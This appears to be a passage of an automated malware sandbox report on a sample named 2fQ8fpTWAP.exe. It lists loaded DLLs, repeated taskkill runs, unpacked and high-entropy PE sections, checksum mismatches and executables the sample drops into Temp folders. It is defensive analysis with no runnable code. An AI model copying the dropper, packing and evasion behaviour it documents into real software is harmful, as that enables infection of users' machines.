Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.35.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.35.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.35.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.35.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.35.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.35.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 2fQ8fpTWAP.exe

Static file information: File size 1887744 > 1048576

Source: 2fQ8fpTWAP.exe

Static PE information: Raw size of bwkbkxir is bigger than: 0x100000 < 0x19b200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Unpacked PE file: 0.2.2fQ8fpTWAP.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bwkbkxir:EW;pbwruhnr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bwkbkxir:EW;pbwruhnr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bwkbkxir:EW;pbwruhnr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bwkbkxir:EW;pbwruhnr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bwkbkxir:EW;pbwruhnr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bwkbkxir:EW;pbwruhnr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Unpacked PE file: 10.2.e2af9f55fd.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;chbioofn:EW;gsyzfhio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;chbioofn:EW;gsyzfhio:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Unpacked PE file: 11.2.f20b4c0961.exe.8d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xwjcifzz:EW;olfigpve:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xwjcifzz:EW;olfigpve:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Unpacked PE file: 28.2.e2af9f55fd.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;chbioofn:EW;gsyzfhio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;chbioofn:EW;gsyzfhio:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Unpacked PE file: 30.2.44452951d3.exe.290000.0.unpack :EW;.rsrc:W;.idata :W;rqyixswb:EW;aovkkqgk:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Unpacked PE file: 38.2.e2af9f55fd.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;chbioofn:EW;gsyzfhio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;chbioofn:EW;gsyzfhio:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: f20b4c0961.exe.7.dr	Static PE information: real checksum: 0x1d0a27 should be: 0x1d2205
Source: 2fQ8fpTWAP.exe	Static PE information: real checksum: 0x1d9d51 should be: 0x1d5e65
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x1d0a27 should be: 0x1d2205
Source: 44452951d3.exe.7.dr	Static PE information: real checksum: 0x2b7ddb should be: 0x2bc6bc
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x1c25f6 should be: 0x1bfeaa
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d9d51 should be: 0x1d5e65
Source: e2af9f55fd.exe.7.dr	Static PE information: real checksum: 0x1c25f6 should be: 0x1bfeaa
Source: random[2].exe.7.dr	Static PE information: real checksum: 0x2b7ddb should be: 0x2bc6bc

Source: 2fQ8fpTWAP.exe	Static PE information: section name:
Source: 2fQ8fpTWAP.exe	Static PE information: section name: .idata
Source: 2fQ8fpTWAP.exe	Static PE information: section name:
Source: 2fQ8fpTWAP.exe	Static PE information: section name: bwkbkxir
Source: 2fQ8fpTWAP.exe	Static PE information: section name: pbwruhnr
Source: 2fQ8fpTWAP.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: bwkbkxir
Source: skotes.exe.0.dr	Static PE information: section name: pbwruhnr
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: xwjcifzz
Source: random[1].exe.7.dr	Static PE information: section name: olfigpve
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: f20b4c0961.exe.7.dr	Static PE information: section name:
Source: f20b4c0961.exe.7.dr	Static PE information: section name: .idata
Source: f20b4c0961.exe.7.dr	Static PE information: section name:
Source: f20b4c0961.exe.7.dr	Static PE information: section name: xwjcifzz
Source: f20b4c0961.exe.7.dr	Static PE information: section name: olfigpve
Source: f20b4c0961.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: chbioofn
Source: random[1].exe0.7.dr	Static PE information: section name: gsyzfhio
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: e2af9f55fd.exe.7.dr	Static PE information: section name:
Source: e2af9f55fd.exe.7.dr	Static PE information: section name: .idata
Source: e2af9f55fd.exe.7.dr	Static PE information: section name:
Source: e2af9f55fd.exe.7.dr	Static PE information: section name: chbioofn
Source: e2af9f55fd.exe.7.dr	Static PE information: section name: gsyzfhio
Source: e2af9f55fd.exe.7.dr	Static PE information: section name: .taggant
Source: random[2].exe.7.dr	Static PE information: section name:
Source: random[2].exe.7.dr	Static PE information: section name: .idata
Source: random[2].exe.7.dr	Static PE information: section name: rqyixswb
Source: random[2].exe.7.dr	Static PE information: section name: aovkkqgk
Source: random[2].exe.7.dr	Static PE information: section name: .taggant
Source: 44452951d3.exe.7.dr	Static PE information: section name:
Source: 44452951d3.exe.7.dr	Static PE information: section name: .idata
Source: 44452951d3.exe.7.dr	Static PE information: section name: rqyixswb
Source: 44452951d3.exe.7.dr	Static PE information: section name: aovkkqgk
Source: 44452951d3.exe.7.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CB58 push esp; retf	9_3_0118CB59
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CB54 push esp; retf	9_3_0118CB55
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119996A push ebx; iretd	9_3_011999A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119996A push ebx; iretd	9_3_011999A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119996A push ebx; iretd	9_3_011999A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119996A push ebx; iretd	9_3_011999A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CB60 pushad ; retf	9_3_0118CB61
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CE60 push eax; iretd	9_3_0118CE61
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CB64 pushad ; retf	9_3_0118CB65
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119BA65 push es; retf	9_3_0119BB09
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119BA65 push es; retf	9_3_0119BB09
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119BA65 push es; retf	9_3_0119BB09
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119BA65 push es; retf	9_3_0119BB09
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CB9C pushfd ; retf	9_3_0118CB9D
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B991 push ebx; retf	9_3_0119B9A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B991 push ebx; retf	9_3_0119B9A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B991 push ebx; retf	9_3_0119B9A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B991 push ebx; retf	9_3_0119B9A1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B988 push esi; retf	9_3_0119B989
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B988 push esi; retf	9_3_0119B989
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B988 push esi; retf	9_3_0119B989
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B988 push esi; retf	9_3_0119B989
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B3B4 push 200119C3h; ret	9_3_0119B3BD
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B3B4 push 200119C3h; ret	9_3_0119B3BD
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B3B4 push 200119C3h; ret	9_3_0119B3BD
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B3B4 push 200119C3h; ret	9_3_0119B3BD
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0118CBA0 pushfd ; retf	9_3_0118CBA1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B9A2 push eax; retf	9_3_0119B9B9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B9A2 push eax; retf	9_3_0119B9B9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B9A2 push eax; retf	9_3_0119B9B9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119B9A2 push eax; retf	9_3_0119B9B9

Source: 2fQ8fpTWAP.exe	Static PE information: section name: entropy: 7.978435904623713
Source: 2fQ8fpTWAP.exe	Static PE information: section name: bwkbkxir entropy: 7.954110214651045
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.978435904623713
Source: skotes.exe.0.dr	Static PE information: section name: bwkbkxir entropy: 7.954110214651045
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.977987189441114
Source: random[1].exe.7.dr	Static PE information: section name: xwjcifzz entropy: 7.954800437299881
Source: f20b4c0961.exe.7.dr	Static PE information: section name: entropy: 7.977987189441114
Source: f20b4c0961.exe.7.dr	Static PE information: section name: xwjcifzz entropy: 7.954800437299881
Source: random[1].exe0.7.dr	Static PE information: section name: chbioofn entropy: 7.953525251128387
Source: e2af9f55fd.exe.7.dr	Static PE information: section name: chbioofn entropy: 7.953525251128387
Source: random[2].exe.7.dr	Static PE information: section name: entropy: 7.773088013575787
Source: 44452951d3.exe.7.dr	Static PE information: section name: entropy: 7.773088013575787

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Jump to dropped file
